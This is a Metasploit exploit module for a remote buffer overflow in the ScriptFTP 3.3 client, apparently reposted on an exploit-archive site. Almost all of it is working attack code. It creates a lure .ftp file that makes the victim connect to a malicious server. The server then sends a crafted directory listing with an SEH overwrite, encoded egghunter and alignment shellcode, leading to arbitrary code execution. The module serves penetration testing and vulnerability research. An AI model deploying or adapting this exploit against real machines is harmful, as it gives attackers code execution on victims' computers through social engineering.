Author

metasploit

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-16841

Category

remote exploits

Date add

08-10-2011

Platform

windows

##
# $Id: scriptftp_list.rb 13841 2011-10-09 05:36:42Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::FtpServer
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',
            'Description'    => %q{
                    AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
                vulnerability that is triggered when processing a sufficiently long filename during
                a FTP LIST command resulting in overwriting the exception handler. Social engineering
                of executing a specially crafted ftp file by double click will result in connecting to
                our malcious server and perform arbitrary code execution which allows the attacker
                to gain the same rights as the user running ScriptFTP.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13841 $",
            'Author'         =>
                [
                    'modpr0be', #Vulnerability discovery and original exploit
                    'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                    'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
                ],
            'References'     =>
                [
                    #[ 'CVE', '?' ],
                    #[ 'OSVDB', '?' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17876/' ],
                    [ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                    'DisablePayloadHandler' => 'false',
                },
            'Payload'        =>
                {
                    'BadChars'        => "\x00\xff\x0d\x5c\x2f\x0a",
                    'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions'  =>
                    {
                        'BufferRegister' => 'EDI',  # Egghunter jmp edi
                    }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # CALL DWORD PTR SS:[EBP-4]
                    # scriptftp.exe - File version=Build 3/9/2009
                    [ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2011',
            'DefaultTarget'  => 0))
 
            register_options(
            [
                OptString.new('FILENAME',   [ true, 'The file name.',  'msf.ftp']),
            ], self.class)
 
    end
 
    def setup
        if datastore['SRVHOST'] == '0.0.0.0'
            lhost = Rex::Socket.source_address('50.50.50.50')
        else
            lhost = datastore['SRVHOST']
        end
 
        ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
        ftp_file << "SETPASSIVE(ENABLED)\r\n"
        ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
        ftp_file << "CLOSEHOST\r\n"
 
        print_status("Creating '#{datastore['FILENAME']}'...")
        file_create(ftp_file)
        super
    end
 
 
    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end
 
    def on_client_command_list(c,arg)
 
        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end
 
        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")
 
        code = 226
        c.put("#{code} Directory send ok.\r\n")
 
        eggoptions =
        {
            :checksum => false,
            :eggtag => 'cure'
        }
 
        hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
 
        # Encode with alphamixed, then unicode mixed
        [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
            enc = framework.encoders.create(name)
            if name =~ /unicode/
                # aligned to ESP & EAX
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
            else
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
            end
            # NOTE: we already eliminated badchars
            hunter = enc.encode(hunter, nil, nil, platform)
            if name =~/alpha/
                #insert getpc_stub & align EDX, unicode encoder friendly.
                #Hardcoded stub is not an issue here because it gets encoded anyway
                getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
                hunter = getpc_stub + hunter
            end
        }
 
        unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL
 
        nseh = "\x61" << unicode_nop
        seh = target.ret
 
        alignment = "\x54"  # PUSH ESP
        alignment << unicode_nop
        alignment << "\x58"  # POP EAX
        alignment << unicode_nop
        alignment << "\x05\x12\x11"  # ADD EAX,11001200
        alignment << unicode_nop
        alignment << "\x2d\x01\x01"  # SUB EAX,1000100
        alignment << unicode_nop
        alignment << "\x2d\x01\x10"  # SUB EAX,10000100
        alignment << unicode_nop
        alignment << "\x50"  # PUSH EAX
        alignment << unicode_nop
        alignment << "\xc3"  # RETN
 
        buffer = rand_text_alpha(656)
        buffer << hunter
        buffer << rand_text_alpha(target['Offset']-buffer.length)
        buffer << nseh
        buffer << seh
        buffer << alignment
        buffer << rand_text_alpha(500)
        buffer << egg
 
        print_status(" - Sending directory list via data connection")
        dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
        dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
        dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
 
        conn.put(dirlist)
        conn.close
        return
    end
 
end



#  0day.today [2024-12-23]  #